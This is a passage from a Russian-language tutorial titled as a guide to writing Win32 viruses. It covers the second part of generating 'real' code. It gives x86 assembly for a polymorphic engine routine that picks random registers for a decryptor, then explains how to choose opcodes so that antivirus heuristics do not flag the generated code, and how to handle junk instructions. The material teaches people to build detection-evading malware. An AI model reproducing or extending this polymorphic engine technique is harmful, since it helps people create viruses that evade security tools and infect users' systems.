Путеводитель по написанию вирусов под Win32


Генерация "настоящего" кода - часть 2


-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= InitPoly proc

@@1: mov eax,8 ; Получить случайный регистр call r_range ; EAX := [0..7]

cmp eax,4 ; Это ESP? jz @@1 ; Если да, получаем другой

mov byte ptr [ebp+base],al ; Сохраняем его mov ebx,eax ; EBX = базовый регистр

@@2: mov eax,8 ; Получаем случайный регистр call r_range ; EAX := [0..7]

cmp eax,4 ; Это ESP? jz @@2 ; Если да, получаем другой

cmp eax,ebx ; Равен базовому указателю? jz @@2 ; Если да, получаем другой

mov byte ptr [ebp+count],al ; Сохраняем его mov ecx,eax ; ECX = Регистр-счетчик

@@3: mov eax,8 ; Получаем случайный регистр call r_range ; EAX := [0..7]

cmp eax,4 ; Это ESP? jz @@3 ; Если да, получаем другой

cmp eax,ebx ; Равен регистру базового указ.? jz @@3 ; Если да, получаем другой

cmp eax,ecx ; Равен регистру-счетчику? jz @@3 ; Если да, получаем другой

mov byte ptr [ebp+key],al ; Сохраняем его

ret

InitPoly endp -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Теперь у вас в трех переменных три разных регистра, которые мы можем использовать без особых проблем. С регистром EAX у нас возникнет проблема, не очень большая, но тем не менее. Как вы знаете, некоторые инструкции имеют оптимизированный опкод для работы с этим регистром. Если же вместо этих опкодов использовать обычные, антиэвристик заметит, что инструкция была построена "неправильным" путем, как бы никогда не сделал "настоящий" ассемблер. У вас есть два выхода: если вы все еще хотите использовать EAX в качестве одного из "активных" регистров в вашем код, вам следует учитывать этот момент и генерировать соответствующие опкоды. Либо вы можете просто избегать использования EAX в качестве одного из регистров, используемых в декрипторе, а использовать его только при генерации мусора, применяя оптимизированные опкоды (прекрасным выбором будет построение соответствующей таблицы). Мы рассмотрим это позже. Для игр с мусором я рекомендую использовать маску регистров.




Начало  Назад  Вперед



Книжный магазин